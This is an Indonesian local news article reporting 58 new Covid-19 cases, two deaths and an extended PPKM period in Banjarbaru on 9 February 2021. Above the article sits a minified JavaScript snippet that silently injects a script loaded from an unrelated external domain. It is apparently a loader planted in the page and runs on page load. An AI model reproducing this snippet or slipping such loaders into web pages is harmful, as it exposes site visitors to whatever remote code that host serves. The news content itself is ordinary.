(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tambah 58 Kasus Baru Covid-19 di Banjarbaru, 2 Orang Meninggal Dunia

KANALKALIMANTAN.COM, BANJARBARU – Kenaikan kasus positif baru Covid-19 di Kota Banjarbaru masih terus terjadi. Bersamaan pula dengan bertambah angka kematian akibat infeksi virus asal negeri China tersebut.

Satuan Tugas (Satgas) Covid-19 Banjarbaru melaporkan adanya penambahan kasus baru sebanyak 58 kasus positif, Selasa (9/2/2021) sore.

Penambahan ini tersebar di 4 Kecamatan, yakni Banjarbaru Utara, Banjarbaru Selatan, Landasan Ulin, dan Liang Anggang. Melingkupi Kelurahan Loktabat Utara sebanyak 11 kasus, Komet 1, Mentaos 4 kasus, Loktabat Selatan 1 kasus, Sungai Besar 1 kasus, Landasan Ulin Timur 2 kasus, Syamsudin Noor 5 Kasus, Guntung Manggis 1 kasus, Guntung Payung 3 kasus, Landasan Ulin Barat 1, Landasan Ulin Tengah 1 kasus, dan terbanyak di Landasan Ulin Utara sebanyak 27 kasus.

Dengan penambahan 58 kasus per Selasa 9 Februari 2021, jumlah angka kasus terkonfirmasi Covid-19 di Banjarbaru sejak awal merebaknya pada 2020 lalu, total mencapai 2.420 kasus.

Tak hanya itu saja, Satgas Covid-19 melaporkan terjadinya kematian di Banjarbaru akibat paparan virus. Dalam hal ini, dilaporkan ada 2 pasien terinfeksi virus yang meninggal dunia.

“Ada 2 pasien yang meninggal dunia. Yang bersangkutan merupakan warta asal kelurahan Landasan Ulin Barat dan Landasan Ulin Selatan,” kata Rizna Mirza, Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru.

Catatan angka kematian akibat Covid-19 di Banjarbaru sebanyak 93 kasus.
Sementara, Pemerintah Kota (Pemko) Banjarbaru masih terus berupaya menekan lajunnya angka penyebaran kasus Covid-19. Salah satunya, menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM).

Bahkan, masa penerapan PPKM ini diperpanjang hingga 22 Februari mendatang. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie